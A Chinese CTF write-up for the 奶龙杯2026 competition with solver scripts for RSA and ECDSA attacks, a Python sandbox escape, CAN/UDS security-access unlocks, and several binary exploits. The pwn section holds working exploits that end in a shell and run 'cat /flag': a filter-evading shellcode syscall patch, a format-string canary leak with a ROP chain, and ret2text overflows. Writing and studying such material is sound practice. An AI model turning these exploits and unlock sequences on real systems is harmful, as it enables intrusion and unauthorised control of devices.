奶龙杯2026 CTF 题解

ChenFu 发布于 7 天前 29 次阅读


AI 摘要

你是否好奇,同一个明文被多次加密后,为何能秒破RSA?为何看似复杂的ECDSA签名隐藏着致命漏洞?甚至一个简单的CAN总线协议,也能成为获取flag的突破口?这篇题解带你走进奶龙杯CTF的实战现场,从数学攻击到系统漏洞,手把手教你如何一步步解开谜题,获取最终flag。准备好迎接挑战了吗?

奶龙杯2026CTF题解WriteUp - ChenFu

Crypto方向

1.babyrsa

Flag: flag{ljhyv9qz-ctoy-4tr-8fdt-g5kpvtid78zlz}

RSA题型

/pub 每次返回一组:

{"n": "...", "c": "..."}

这些 n 不同,但加密的是同一个明文 m

c_i = m^e mod n_i

收集 3 组后,用 CRT 合并:

N = n1*n2*n3
X ≡ ci * (N/ni) * inverse(N/ni, ni) 之和 mod N

实际指数是 e=5。当 m^5 < N 时,CRT 得到的 X 就是完整的 m^5,直接对 X 求整数五次根即可。

e=3 求根不是精确根,e=5 求根得到:

脚本如下:

import math
import requests

URL = "http://challenge.cyclens.tech:31518/pub"


def integer_nth_root(value, degree):
    lo, hi = 0, 1
    while hi ** degree <= value:
        hi <<= 1
    while lo + 1 < hi:
        mid = (lo + hi) // 2
        if mid ** degree <= value:
            lo = mid
        else:
            hi = mid
    return lo, lo ** degree == value


def main():
    pairs = []
    session = requests.Session()
    for idx in range(3):
        response = session.get(URL, timeout=60)
        response.raise_for_status()
        item = response.json()
        pairs.append((int(item["n"], 16), int(item["c"], 16)))
        print(f"pair {idx + 1}: n_bits={pairs[-1][0].bit_length()} c_bits={pairs[-1][1].bit_length()}")

    degree = 5
    modulus = math.prod(n for n, _ in pairs)
    combined = 0
    for n, c in pairs:
        partial = modulus // n
        combined += c * partial * pow(partial, -1, n)
    combined %= modulus
    message, exact = integer_nth_root(combined, degree)
    raw = message.to_bytes((message.bit_length() + 7) // 8, "big")
    print("degree:", degree, "exact_root:", exact)
    print("raw:", raw)
    print("hex:", raw.hex())
    print("verification:", all(pow(message, degree, n) == c for n, c in pairs))


if __name__ == "__main__":
    main()

2.🍼

FLAG: flag{3f7f4ca9-5c20-4ac9-ae16-4a6f83d318ef}

这题的漏洞在 task.py 自定义的 ECDSA 签名中:三次签名使用的 nonce 不是独立随机值,而是:

k1 = a
k2 = a + b
k3 = a + 2b mod N

ECDSA 签名满足:

s_i = k_i^(-1)(z_i + r_i d) mod N

因此:

k_i = z_i*s_i^(-1) + r_i*s_i^(-1)d mod N
    = A_i + B_i d mod N

等差 nonce 满足:

k1 - 2k2 + k3 = 0 mod N

代入后得到关于私钥 d 的一次模方程:

d = -(A1 - 2A2 + A3)
    * inverse(B1 - 2B2 + B3, N) mod N

计算得到私钥d:

105550276366361429612911318162415698546308980706867766284800132918932356080022

随后按照 crypt() 中的逻辑,用:

SHA256(private_key.to_bytes(32, "big"))

生成密钥流,与 encrypted_flag 做 XOR,即可得到明文。

脚本如下

import hashlib
import re
from pathlib import Path

N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

text = Path("output.txt").read_text(encoding="utf-8")

ciphertext = bytes.fromhex(
    re.search(r"encrypted_flag = ([0-9a-f]+)", text).group(1)
)

messages = [
    x.encode()
    for x in re.findall(r"^message_\d+ = (.*)$", text, re.MULTILINE)
]

rs = [
    int(x)
    for x in re.findall(r"^r_\d+ = (\d+)$", text, re.MULTILINE)
]

ss = [
    int(x)
    for x in re.findall(r"^s_\d+ = (\d+)$", text, re.MULTILINE)
]

zs = [
    int.from_bytes(hashlib.sha256(m).digest(), "big")
    for m in messages
]

A = [(z * pow(s, -1, N)) % N for z, s in zip(zs, ss)]
B = [(r * pow(s, -1, N)) % N for r, s in zip(rs, ss)]

c = (A[0] - 2*A[1] + A[2]) % N
dcoef = (B[0] - 2*B[1] + B[2]) % N

private_key = (-c * pow(dcoef, -1, N)) % N

seed = hashlib.sha256(private_key.to_bytes(32, "big")).digest()

stream = bytearray()
counter = 0

while len(stream) < len(ciphertext):
    stream.extend(
        hashlib.sha256(
            seed + counter.to_bytes(4, "big")
        ).digest()
    )
    counter += 1

flag = bytes(
    a ^ b for a, b in zip(ciphertext, stream)
)

print(flag.decode())

Misc方向

1.全网呼叫Typhon

FLAG:flag{s0brvupa-tdb2-4fj-8sj1-xshtb2wwpuqqp}

题目源码中:

omega = _river.environ.get("FLAG", "flag{local_test_flag}")

omegaBox.ping() 闭包捕获。闭包变量顺序为:

alpha, omega, zulu

因此可以通过:

box.ping.__func__.__closure__[1].cell_contents

读取真实 FLAG

题目过滤了 __funcclosurecell_contents 等字符串,所以用字符串拼接绕过过滤。又因为直接输出会被 audit_output() 拦截,所以把 flag 放进 title 的嵌套格式说明中,触发格式异常。异常发生在审计之前,flag 会出现在错误信息中。

提交 Payload

render('{title:{box.ping.'+'_'*2+'fu'+'nc'+'_'*2+'.'+'_'*2+'cl'+'o'+'sure'+'_'*2+'[1].'+'ce'+'ll_'+'con'+'tents}}')

因为是动态flag 所以复现flag不同

2.Nailoong_Bike

FLAG:flag{nzfyml4b-qnts-4bs-8rge-emyzsrphzi8he}

1.从附件 bike_algo.c 得到密钥算法:

key = rol32((seed ^ nonce) ^ 0x6e61696c, 5) + 0x1f123bb5

2/建立 TCP 连接后发送:

600#0322F1A0

得到 nonce:

608#0762F1A013572468
nonce = 0x13572468

3.请求 seed:

600#022701

得到:

608#066701A2942468
seed = 0xA2942468

4.计算 key:

seed ^ nonce = 0xB1C30000
key = 0x135F6950

5.使用 key 解锁:

600#062702135F6950
608#026702

6.请求 flag:

600#0431014242
608#102E71014242666C

这是 ISO-TP 首帧,继续发送流控帧:

600#300000

重组后得到:

flag{nzfyml4b-qnts-4bs-8rge-emyzsrphzi8he}

脚本如下

#!/usr/bin/env python3

import os
import sys

script_dir = os.path.dirname(os.path.abspath(__file__))
sys.path[:] = [path for path in sys.path if os.path.abspath(path or os.curdir) != script_dir]

import argparse
import socket


def rol32(value: int, bits: int) -> int:
    value &= 0xFFFFFFFF
    return ((value << bits) | (value >> (32 - bits))) & 0xFFFFFFFF


def bike_mix32(value: int) -> int:
    value = (value ^ 0x6E61696C) & 0xFFFFFFFF
    value = rol32(value, 5)
    return (value + 0x1F123BB5) & 0xFFFFFFFF


class BikeClient:
    def __init__(self, host: str, port: int, timeout: float = 3.0):
        self.sock = socket.create_connection((host, port), timeout=timeout)
        self.sock.settimeout(timeout)
        self.reader = self.sock.makefile("rb")

    def close(self) -> None:
        self.reader.close()
        self.sock.close()

    def recv_line(self) -> str:
        raw = self.reader.readline()
        if not raw:
            raise RuntimeError("server closed the connection")
        return raw.decode("ascii", errors="replace").rstrip("\r\n")

    def send(self, can_id: int, frame: bytes) -> str:
        line = f"{can_id:03X}#{frame.hex().upper()}\n".encode("ascii")
        self.sock.sendall(line)
        response = self.recv_line()
        print(f"<- {response}")
        return response

    def send_only(self, can_id: int, frame: bytes) -> None:
        line = f"{can_id:03X}#{frame.hex().upper()}\n".encode("ascii")
        self.sock.sendall(line)


def parse_response(line: str, expected_id: int = 0x608) -> bytes:
    prefix, payload = line.split("#", 1)
    if int(prefix, 16) != expected_id:
        raise RuntimeError(f"unexpected CAN response ID: {prefix}")
    return bytes.fromhex(payload)


def single_frame_payload(frame: bytes) -> bytes:
    if not frame or frame[0] >> 4 != 0:
        raise RuntimeError(f"expected ISO-TP single frame, got {frame.hex()}")
    length = frame[0] & 0x0F
    return frame[1:1 + length]


def main() -> None:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--host", default="challenge.cyclens.tech")
    parser.add_argument("--port", type=int, default=30599)
    args = parser.parse_args()

    client = BikeClient(args.host, args.port)
    try:
        banner = client.recv_line()
        print(f"<- {banner}")

        # 22 F1 A0: read nonce.
        nonce_frame = parse_response(client.send(0x600, bytes.fromhex("03 22 F1 A0")))
        nonce_data = single_frame_payload(nonce_frame)
        if nonce_data[:3] != bytes.fromhex("62 F1 A0"):
            raise RuntimeError(f"unexpected nonce response: {nonce_data.hex()}")
        nonce = int.from_bytes(nonce_data[3:7], "big")

        # 27 01: request seed.
        seed_frame = parse_response(client.send(0x600, bytes.fromhex("02 27 01")))
        seed_data = single_frame_payload(seed_frame)
        if seed_data[:2] != bytes.fromhex("67 01"):
            raise RuntimeError(f"unexpected seed response: {seed_data.hex()}")
        seed = int.from_bytes(seed_data[2:6], "big")

        key = bike_mix32(seed ^ nonce)
        print(f"nonce = 0x{nonce:08X}")
        print(f"seed  = 0x{seed:08X}")
        print(f"key   = 0x{key:08X}")

        # 27 02 + 32-bit key: unlock security access.
        unlock = parse_response(
            client.send(0x600, bytes.fromhex("06 27 02") + key.to_bytes(4, "big"))
        )
        if single_frame_payload(unlock) != bytes.fromhex("67 02"):
            raise RuntimeError(f"key rejected: {unlock.hex()}")

        # 31 01 4242: trigger flag routine. The response is ISO-TP multi-frame.
        first = parse_response(client.send(0x600, bytes.fromhex("04 31 01 42 42")))
        if len(first) < 2 or first[0] >> 4 != 1:
            raise RuntimeError(f"expected ISO-TP first frame, got {first.hex()}")
        total_length = ((first[0] & 0x0F) << 8) | first[1]
        data = bytearray(first[2:])

        # Flow-control frame: 30 00 00. Do not prepend a single-frame length.
        client.send_only(0x600, bytes.fromhex("30 00 00"))
        while len(data) < total_length:
            continuation = parse_response(client.recv_line())
            print(f"<- {continuation.hex().upper()}")
            if not continuation or continuation[0] >> 4 != 2:
                raise RuntimeError(f"expected ISO-TP consecutive frame, got {continuation.hex()}")
            data.extend(continuation[1:])

        payload = bytes(data[:total_length])
        print(f"ISO-TP payload ({len(payload)} bytes): {payload!r}")
        marker = b"flag{"
        start = payload.find(marker)
        if start < 0:
            raise RuntimeError(f"flag marker not found in payload: {payload!r}")
        flag = payload[start:].decode("ascii")
        print(f"FLAG: {flag}")
    finally:
        client.close()


if __name__ == "__main__":
    main()

3.Nailoong_Bus

FLAG: flag{spprx0hf-oh6q-4so-8szf-xdfcuhyuuiyx9}

端口对应关系:

32651 MQTT
30382 DOIP
32298 CAN
31254 LIN
32466 J1939

MQTT 发送维护命令:

{"cmd":"set_park_brake","value":true}

得到:

mqtt_nonce = F5686B2C

DOIP 路由激活,然后读取:

22F1A0 -> F5686B2C
22F1A1 -> D013EA18

得到:

route_token = D013EA18

LIN 发送 ASCII 文本:

5592016C
5555AA55AA

响应:

55929001DB
555554DBFD2557

提取:

lin_word = 54DBFD25
  1. J1939:
18EAFF80#DAFE00
18EF1090#4E42533101

响应中的前四字节:

j1939_word = 594EE884

CAN 获取 seed 和 BCM word:

720#021003
720#0322F1B0
730#022701

响应:

bcm_word = 1D19CA17
seed      = 426F9ABE

计算 key:

folded = (
    0x426F9ABE ^
    0xF5686B2C ^
    0xD013EA18 ^
    0x54DBFD25 ^
    0x1D19CA17 ^
    0x594EE884
)
# 0x7798C43C

key = bike_mix32(folded)
# 0x5E47E5B8
  1. CAN 解锁并读取 flag:
730#0627025E47E5B8
740#021003
740#043101B055
700#021003
700#0431011337
708#300000

708#300000 必须发送到响应 ID,随后拼接 ISO-TP 连续帧。

脚本如下:

import socket
import struct
import time
import re

HOST = "challenge.cyclens.tech"

MQTT_PORT = 32651
DOIP_PORT = 30382
CAN_PORT = 32298
LIN_PORT = 31254
J1939_PORT = 32466


def recv_some(sock, timeout=0.6):
    sock.settimeout(0.03)
    data = b""
    end = time.time() + timeout

    while time.time() < end:
        try:
            chunk = sock.recv(65535)
        except socket.timeout:
            continue

        if not chunk:
            break

        data += chunk

    return data


def mqtt_vbi(value):
    out = b""

    while True:
        byte = value % 128
        value //= 128

        if value:
            byte |= 0x80

        out += bytes([byte])

        if not value:
            return out


def mqtt_setup():
    sock = socket.create_connection((HOST, MQTT_PORT))

    client_id = b"nlbus-replay"
    variable_header = b"\x00\x04MQTT\x04\x02\x00\x3c"
    payload = struct.pack("!H", len(client_id)) + client_id

    packet = (
        b"\x10"
        + mqtt_vbi(len(variable_header + payload))
        + variable_header
        + payload
    )

    sock.sendall(packet)
    recv_some(sock)

    # Subscribe so the retained telemetry is delivered.
    topic = b"#"
    subscribe_payload = (
        struct.pack("!H", 1)
        + struct.pack("!H", len(topic))
        + topic
        + b"\x00"
    )

    sock.sendall(
        b"\x82"
        + mqtt_vbi(len(subscribe_payload))
        + subscribe_payload
    )

    telemetry = recv_some(sock, 1.0)

    # Set maintenance mode.
    command_topic = b"bus/NLBUS-2046/cmd/fleet"
    command_body = b'{"cmd":"set_park_brake","value":true}'

    publish_payload = (
        struct.pack("!H", len(command_topic))
        + command_topic
        + command_body
    )

    sock.sendall(
        b"\x30"
        + mqtt_vbi(len(publish_payload))
        + publish_payload
    )

    telemetry += recv_some(sock, 1.0)
    sock.close()

    nonces = re.findall(rb'"nonce":"([0-9a-f]+)"', telemetry)

    if not nonces:
        raise RuntimeError("MQTT nonce not found")

    return int(nonces[-1], 16)


def doip_setup():
    sock = socket.create_connection((HOST, DOIP_PORT))
    recv_some(sock)

    packets = [
        "02FD0005000000080E00000000000000",
        "02FD8001000000060E000E001003",
        "02FD8001000000070E000E0022F188",
        "02FD8001000000070E000E0022F1A0",
        "02FD8001000000070E000E0022F1A1",
    ]

    response = b""

    for packet in packets:
        sock.sendall(bytes.fromhex(packet))
        response += recv_some(sock)

    sock.close()

    marker = b"\x62\xf1\xa1"
    pos = response.find(marker)

    if pos < 0:
        raise RuntimeError("DOIP route token not found")

    route_token = int.from_bytes(
        response[pos + len(marker):pos + len(marker) + 4],
        "big",
    )

    return route_token


def lin_word():
    sock = socket.create_connection((HOST, LIN_PORT))
    recv_some(sock)

    sock.sendall(b"5592016C\n")
    recv_some(sock)

    sock.sendall(b"5555AA55AA\n")
    response = recv_some(sock)

    sock.close()

    line = response.decode().strip().splitlines()[-1]
    frame = bytes.fromhex(line)

    return int.from_bytes(frame[2:6], "big")


def j1939_word():
    sock = socket.create_connection((HOST, J1939_PORT))
    recv_some(sock)

    sock.sendall(b"18EAFF80#DAFE00\n")
    response = recv_some(sock)

    sock.sendall(b"18EF1090#4E42533101\n")
    recv_some(sock)

    sock.close()

    line = response.decode().strip().splitlines()[-1]
    data = bytes.fromhex(line.split("#", 1)[1])

    return int.from_bytes(data[:4], "big")


def bike_mix32(value):
    value ^= 0x6E61696C
    value = ((value << 5) | (value >> 27)) & 0xFFFFFFFF
    value = (value + 0x1F123BB5) & 0xFFFFFFFF
    return value


def can_send(sock, text, timeout=0.6):
    sock.sendall((text + "\n").encode())
    return recv_some(sock, timeout)


def can_extract_values():
    sock = socket.create_connection((HOST, CAN_PORT))
    recv_some(sock)

    can_send(sock, "720#021003")

    response = can_send(sock, "720#0322F1B0")
    line = response.decode().strip().splitlines()[-1]
    frame = bytes.fromhex(line.split("#", 1)[1])
    bcm_word = int.from_bytes(frame[4:8], "big")

    response = can_send(sock, "730#022701")
    line = response.decode().strip().splitlines()[-1]
    frame = bytes.fromhex(line.split("#", 1)[1])
    seed = int.from_bytes(frame[3:7], "big")

    return sock, seed, bcm_word


def retrieve_flag(sock):
    response = can_send(sock, "740#021003")
    print(response.decode(errors="replace"), end="")

    response = can_send(sock, "740#043101B055")
    print(response.decode(errors="replace"), end="")

    response = can_send(sock, "700#021003")
    print(response.decode(errors="replace"), end="")

    first_frame = can_send(sock, "700#0431011337")
    print(first_frame.decode(errors="replace"), end="")

    # Flow-control goes to response ID 708.
    remaining = can_send(sock, "708#300000", timeout=1.5)
    print(remaining.decode(errors="replace"), end="")

    raw = first_frame + remaining
    frames = re.findall(rb"708#([0-9A-Fa-f]+)", raw)

    if not frames:
        raise RuntimeError("Flag response not found")

    first = bytes.fromhex(frames[0].decode())
    payload = first[2:]

    for item in frames[1:]:
        frame = bytes.fromhex(item.decode())

        if frame[0] >> 4 == 2:
            payload += frame[1:]

    # First four bytes are UDS response metadata: 71 01 13 37.
    flag = payload[4:].decode()
    return flag


def main():
    mqtt_nonce = mqtt_setup()
    route_token = doip_setup()
    lin = lin_word()
    j1939 = j1939_word()
    can_sock, seed, bcm = can_extract_values()

    key_input = (
        seed
        ^ mqtt_nonce
        ^ route_token
        ^ lin
        ^ bcm
        ^ j1939
    )

    key = bike_mix32(key_input)

    print(f"mqtt_nonce  = {mqtt_nonce:08X}")
    print(f"route_token = {route_token:08X}")
    print(f"lin_word    = {lin:08X}")
    print(f"j1939_word  = {j1939:08X}")
    print(f"bcm_word    = {bcm:08X}")
    print(f"seed        = {seed:08X}")
    print(f"key         = {key:08X}")

    result = can_send(
        can_sock,
        f"730#062702{key:08X}",
    )
    print(result.decode(errors="replace"), end="")

    flag = retrieve_flag(can_sock)
    print("\nFLAG =", flag)

    can_sock.close()


if __name__ == "__main__":
    main()

4.free wifi

FLAG:flag{9c2f7d8a-3b61-4e90-a42d-f0e13c9b7a66}

分析 attachment.pcap,恢复 DNS 隐蔽信道中的数据。

1.用 Wireshark 打开抓包,先查看 HTTP 流。

2.找到请求:

GET /debug/status HTTP/1.1

3.响应中泄露 XOR 密钥:

xorkey=latte

4.过滤 DNS 查询,发现普通域名之外有 4 个可疑域名:

00-550246125208591559.img-cache.cdn-sync.net
01-560e57455951095844.img-cache.cdn-sync.net
02-590458531059035c04.img-cache.cdn-sync.net
03-45470655034315535a.img-cache.cdn-sync.net

5.去掉序号和 -,按 0003 顺序拼接:

550246125208591559560e57455951095844590458531059035c0445470655034315535a

将十六进制转 bytes,再用重复密钥 latte XOR:

h = "550246125208591559560e57455951095844590458531059035c0445470655034315535a"
data = bytes.fromhex(h)
key = b"latte"

result = bytes(
    c ^ key[i % len(key)]
    for i, c in enumerate(data)
)

print(result.decode())

输出:

9c2f7d8a-3b61-4e90-a42d-f0e13c9b7a66

5.w3lc0m3

FLAG:flag{欢迎来到奶龙杯2026}

6.这还是签到

FLAG:flag{St3g4N0gr4phy}

起初以为下面的摩斯密码是flag 最后发现不对劲{FAKE_FLAG_FAKE_PLACE}

海报中二维码解码就能获得FLAG

PWN方向

1.BabySandbox

FLAG:flag{udeuhq0i-ptga-46a-8qvs-yevsl7sbqxety}

  1. mmap 创建 RWX 内存。
  2. read(0, shellcode, 0x100) 接收最多 256 字节。
  3. 扫描 shellcode 中是否存在静态字节 0f 05
  4. 安装 seccomp,仅允许:
openat(257)
read(0)
write(1)
exit(60)

5.调用 shellcode。

静态扫描位置:

cmp byte ptr [rdx], 0xf
cmp byte ptr [rdx + 1], 0x5

因此不能直接把 syscall 指令放进 payload,需要运行时构造:

xor eax, eax
mov al, 0x0f
mov ah, 0x05
mov word ptr [rbx], ax

这样内存中的 nop; nop 会变成 syscall,但输入数据本身不包含 0f 05

脚本如下

import socket
from keystone import Ks, KS_ARCH_X86, KS_MODE_64

HOST = "challenge.cyclens.tech"
PORT = 32232

ASM = r"""
    lea rbx, [rip + stub]

    # Runtime patch: nop nop -> syscall
    xor eax, eax
    mov al, 0x0f
    mov ah, 0x05
    mov word ptr [rbx], ax

    # openat(AT_FDCWD, "/flag", O_RDONLY, 0)
    mov eax, 257
    mov edi, -100
    lea rsi, [rip + path]
    xor edx, edx
    xor r10d, r10d
    call rbx
    mov edi, eax

    # read(fd, buf, 0x100)
    xor eax, eax
    lea rsi, [rip + buf]
    mov edx, 0x100
    call rbx
    mov edx, eax

    # write(1, buf, n)
    mov eax, 1
    mov edi, 1
    lea rsi, [rip + buf]
    call rbx

    # exit(0)
    mov eax, 60
    xor edi, edi
    call rbx

stub:
    nop
    nop
    ret

path:
    .ascii "/flag\0"

buf:
    .byte 0
"""

ks = Ks(KS_ARCH_X86, KS_MODE_64)
shellcode = bytes(ks.asm(ASM, as_bytes=True)[0])

assert len(shellcode) <= 0x100
assert b"\x0f\x05" not in shellcode

sock = socket.create_connection((HOST, PORT), timeout=10)
sock.settimeout(3)

print(sock.recv(4096).decode(errors="replace"), end="")
sock.sendall(shellcode)

result = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        result += chunk
    except socket.timeout:
        break

print(result.decode(errors="replace"), end="")

2.ezpwn

FLAG:flag{4gic5tqv-9pxk-4gy-8bbw-awsspkjfxsjv5}

feedback 函数逻辑:

char buf[0x30];

read(0, buf, 0x1f);
buf[0x1f] = 0;

printf("Your comment: ");
printf(buf);

存在格式化字符串漏洞。

query 函数逻辑:

char buf[0x30];

read(0, buf, 0x100);
printf("Processing query: %s", buf);

存在栈溢出。

栈布局:

buf       : rbp - 0x30
canary    : rbp - 0x08
saved rbp : rbp
saved rip : rbp + 0x08

所以覆盖返回地址需要:

0x30 - 0x08 = 40 bytes

脚本如下

import socket
import struct
import re
import sys
import time

HOST = "challenge.cyclens.tech"
PORT = 32281

def p64(x):
    return struct.pack("<Q", x)

def recv_until(sock, marker, timeout=5):
    sock.settimeout(timeout)
    data = b""
    while marker not in data:
        chunk = sock.recv(8192)
        if not chunk:
            break
        data += chunk
    return data

sock = socket.create_connection((HOST, PORT), timeout=10)
recv_until(sock, b"> ")

# 1. 泄露 canary
sock.sendall(b"1\n")
recv_until(sock, b"Leave a comment: ")
sock.sendall(b"%11$p\n")

leak = recv_until(sock, b"> ")
canary = int(
    re.search(
        rb"Your comment: (0x[0-9a-fA-F]+)",
        leak
    ).group(1),
    16
)

# 2. 泄露 puts@GOT
sock.sendall(b"1\n")
recv_until(sock, b"Leave a comment: ")

sock.sendall(
    b"%7$s\x00XXX"
    + p64(0x404020)
    + b"\n"
)

got = recv_until(sock, b"> ")
start = got.index(b"Your comment: ") + len(b"Your comment: ")
end = got.index(b"\n1. Leave feedback", start)

puts_addr = int.from_bytes(got[start:end], "little")
libc_base = puts_addr - 0x87BE0

# 3. 构造 query 栈溢出
rop = [
    libc_base + 0x2882F,
    libc_base + 0x10F78B,
    libc_base + 0x1CB42F,
    libc_base + 0x58750,
]

payload = (
    b"A" * 40
    + p64(canary)
    + b"B" * 8
    + b"".join(p64(x) for x in rop)
)

sock.sendall(b"2\n")
recv_until(sock, b"Enter query: ")
sock.sendall(payload)

time.sleep(0.4)

# 4. 通过 system("/bin/sh") 执行命令
command = sys.argv[1] if len(sys.argv) > 1 else "cat /flag"
sock.sendall(command.encode() + b"\n")

time.sleep(1)
sock.settimeout(2)

result = b""
while True:
    try:
        chunk = sock.recv(8192)
        if not chunk:
            break
        result += chunk
    except socket.timeout:
        break

print(result.decode("latin1", "replace"))

3.ret2text

FLAG:flag{bfysaf6p-l4ka-4i3-8xpn-cwhlhyzqjzsfh}

查看保护:

amd64
No canary
NX enabled
No PIE
Full RELRO

反汇编 sign_in

sub rsp, 0x30
lea rax, [rbp-0x30]
mov edx, 0xa0
mov rsi, rax
mov edi, 0
call read
leave
ret

缓冲区为 0x30 字节,加保存的 RBP 8 字节:

返回地址偏移 = 0x30 + 8 = 56

找到后门函数:

admin_shell = 0x401176

该函数执行:

system("/bin/sh");

直接跳到 0x401176 时栈对齐不稳定,因此跳到 0x401177,跳过 push rbp

payload = b"A" * 56 + p64(0x401177)

进入 shell 后读取 flag:

cat /flag

脚本如下

import os
import sys

import socket
import struct
import time


HOST = "challenge.cyclens.tech"
PORT = 31051
OFFSET = 56                 # 0x30-byte buffer + saved RBP
ADMIN_SHELL = 0x401177      # admin_shell + 1: skip push rbp for ABI alignment


def recv_until(sock: socket.socket, marker: bytes) -> bytes:
    data = b""
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            raise ConnectionError("remote closed before prompt")
        data += chunk
    return data


def main() -> None:
    with socket.create_connection((HOST, PORT), timeout=5) as sock:
        sock.settimeout(2)
        banner = recv_until(sock, b"> ")
        print(banner.decode("latin-1", "replace"), end="")

        payload = b"A" * OFFSET + struct.pack("<Q", ADMIN_SHELL)
        sock.sendall(payload)

        # The shell is spawned after sign_in prints its rejection message.
        time.sleep(0.05)
        sock.sendall(b"cat /flag; exit\n")

        output = bytearray()
        while True:
            try:
                chunk = sock.recv(4096)
            except socket.timeout:
                break
            if not chunk:
                break
            output.extend(chunk)

        print(bytes(output).decode("utf-8", "replace"), end="")


if __name__ == "__main__":
    main()

4.宇宙霹雳超级无敌676767奶龙的ret2text

FLAG: flag{m9kc6e2x-hcyt-4ok-8ujf-lbyne78uvi3jh}

反汇编:

objdump -d -M intel .\public\ret2text

重点观察 vulnerable()

push   rbp
mov    rbp,rsp
sub    rsp,0x40
lea    rax,[rbp-0x40]
mov    edx,0xc8
mov    rsi,rax
mov    edi,0
call   read
leave
ret

这里可以直接得出:

局部缓冲区大小:0x40
read 长度:0xc8

输入长度远大于缓冲区,且没有 canary,因此存在栈溢出。

栈布局:

[rbp-0x40 ... rbp-1]   0x40 字节缓冲区
[保存的 rbp]           8 字节
[返回地址 RIP]         8 字节

所以该 ELF 的 RIP 偏移为:

0x40 + 8 = 0x48

4. 定位可利用函数

查看 win()

win:
    push   rbp
    mov    rbp,rsp
    sub    rsp,0x10
    mov    edi,0x400838
    call   system

查看地址 0x400838 的字符串:

/bin/sh
win() -> system("/bin/sh")

函数入口是:

0x4006d7

但直接跳到函数入口可能破坏栈对齐。函数内部:

0x4006df: mov edi,0x400838
0x4006e4: call system

使用:

0x4006df

ELF 已确认缓冲区到返回地址偏移为 0x28,跳转地址为 0x4006df。该地址是 win() 内部、执行 system("/bin/sh") 的栈对齐入口。

脚本如下

import sys

sys.path.pop(0)
import socket
import struct

HOST = "challenge.cyclens.tech"
PORT = 31817
WIN = 0x4006DF

def p64(x):
    return struct.pack("<Q", x)

sock = socket.create_connection((HOST, PORT), timeout=8)
sock.settimeout(1.0)
print(sock.recv(4096).decode(errors="replace"), end="")

payload = b"A" * 0x20 + p64(WIN) * 58 + b"\n"
sock.sendall(payload)

for command in (b"id\n", b"pwd\n", b"cat /flag\n"):
    sock.sendall(command)

chunks = []
while True:
    try:
        chunk = sock.recv(4096)
    except socket.timeout:
        break
    if not chunk:
        break
    chunks.append(chunk)
print(b"".join(chunks).decode("utf-8", "replace"))
sock.close()

5.复仇奶龙已归来

本地 ELF 关键点:

vulnerable():
    sub rsp, 0x100
    read(0, rbp-0x100, 0x200)
    leave
    ret

所以返回地址偏移:

0x100 + 0x8 = 0x108

关键地址:

0x42400b    pop rax ; ret
0x488599    /bin/sh
0x401a98    mov rdi, rax ; call system

脚本如下 进入 shell 后执行:

id
cat /flag
import sys
sys.path.pop(0)

from pwn import *

context.arch = "amd64"
context.log_level = "info"

io = remote("challenge.cyclens.tech", 31050)

io.recvuntil(b"phrase:")

payload = b"A" * 0x108
payload += p64(0x42400b)
payload += p64(0x488599)
payload += p64(0x401a98)

io.send(payload)

sleep(1)

io.sendline(b"id")
io.sendline(b"pwd")
io.sendline(b"cat /flag")
io.sendline(b"exit")

print(io.recvall(timeout=5).decode(errors="replace"))

REVERSE方向

1.base64

**FLAG: flag{550e8400-e29b-41d4-a716-446655440000}**

打开IDA 分析这个chal.exe 可看到调用自定义 Base64 函数 0x140001440

先把自定义 alphabet 映射回标准 alphabet,再执行 Base64 解码。

ZmxhZ3s1NTBlODQwMC1lMjliLTQxZDQtYTcxNi00NDY2NTU0NDAwMDB9

输出:flag{550e8400-e29b-41d4-a716-446655440000}

脚本如下:

import base64

enc = b"WjueW3p1KQYiLANtJX1iJgifIQNuWANqVQxuKf00KAV2KQR0KAZtJAY9"

custom = b"ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"
standard = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

mapped = enc.translate(bytes.maketrans(custom, standard))

print(mapped.decode())
print(base64.b64decode(mapped).decode())

2.driv3r

FLAG:flag{dyn4mic_k3rn3l_dbg_or_bust}

1.driv3r.sys,确认是 x64 PE 内核驱动。

2.查看 COFF 符号,定位关键函数:

Driv3rHandleGetChallenge
Driv3rHandleAuth
Driv3rHandleGetSeg
Driv3rRebuildRuntimeBlob
gBaseCipher
gXorKey
gNonce

3.gBaseCipher 位于文件偏移 0xE00,长度 0x30

4.gXorKey 位于文件偏移 0xE40,内容为:

driv3r!

5.关键逻辑:

gRuntimeBlob[i] =
    gBaseCipher[i] ^ NonceMaskByte(gNonce, i);

output[i] =
    gRuntimeBlob[i]
    ^ NonceMaskByte(gNonce, i)
    ^ StaticKeyByte(i);

两次 NonceMaskByte XOR 抵消,因此:

flag_byte = gBaseCipher[i] ^ StaticKeyByte(i)

脚本如下

from pathlib import Path
import sys


def rol8(x, n):
    x &= 0xff
    n &= 7
    if n == 0:
        return x
    return ((x << n) | (x >> (8 - n))) & 0xff


path = Path(sys.argv[1] if len(sys.argv) > 1 else "driv3r.sys")
data = path.read_bytes()

assert data[:2] == b"MZ"

base_cipher = data[0xE00:0xE30]
xor_key = data[0xE40:0xE47]

plain = bytearray()

for i, value in enumerate(base_cipher):
    static_key = (
        ((0x3D * i + 0x5A) & 0xff)
        ^ rol8((i ^ 0xA7) & 0xff, i & 7)
        ^ xor_key[i % 7]
    )
    plain.append(value ^ static_key)

print(plain.hex())
print(plain.split(b"\x00", 1)[0].decode("ascii"))

3.pigdogcat

附件中的 FlagPlugin.jar 可用 javap 反编译:

关键常量:

c[i] ^ 0x55 = CTF_NONCE_2026
d[i] ^ (i + 32) = PigDogCat!

Token 算法:

SHA1(username.lower() + b"CTF_NONCE_2026")[:4].hex()

认证响应:

SHA1(token + b"PigDogCat!").hexdigest()[:16]

本地计算脚本

# pigdogcat_auth.py
import hashlib
import sys

USERNAME = sys.argv[1] if len(sys.argv) > 1 else "Rise"

token = hashlib.sha1(
    USERNAME.lower().encode() + b"CTF_NONCE_2026"
).digest()[:4].hex()

response = hashlib.sha1(
    token.encode() + b"PigDogCat!"
).hexdigest()[:16]

print("Username :", USERNAME)
print("Token    :", token)
print("Response :", response)
print()
print("/auth", response)
print("Target   : X=256, Y=80, Z=256")

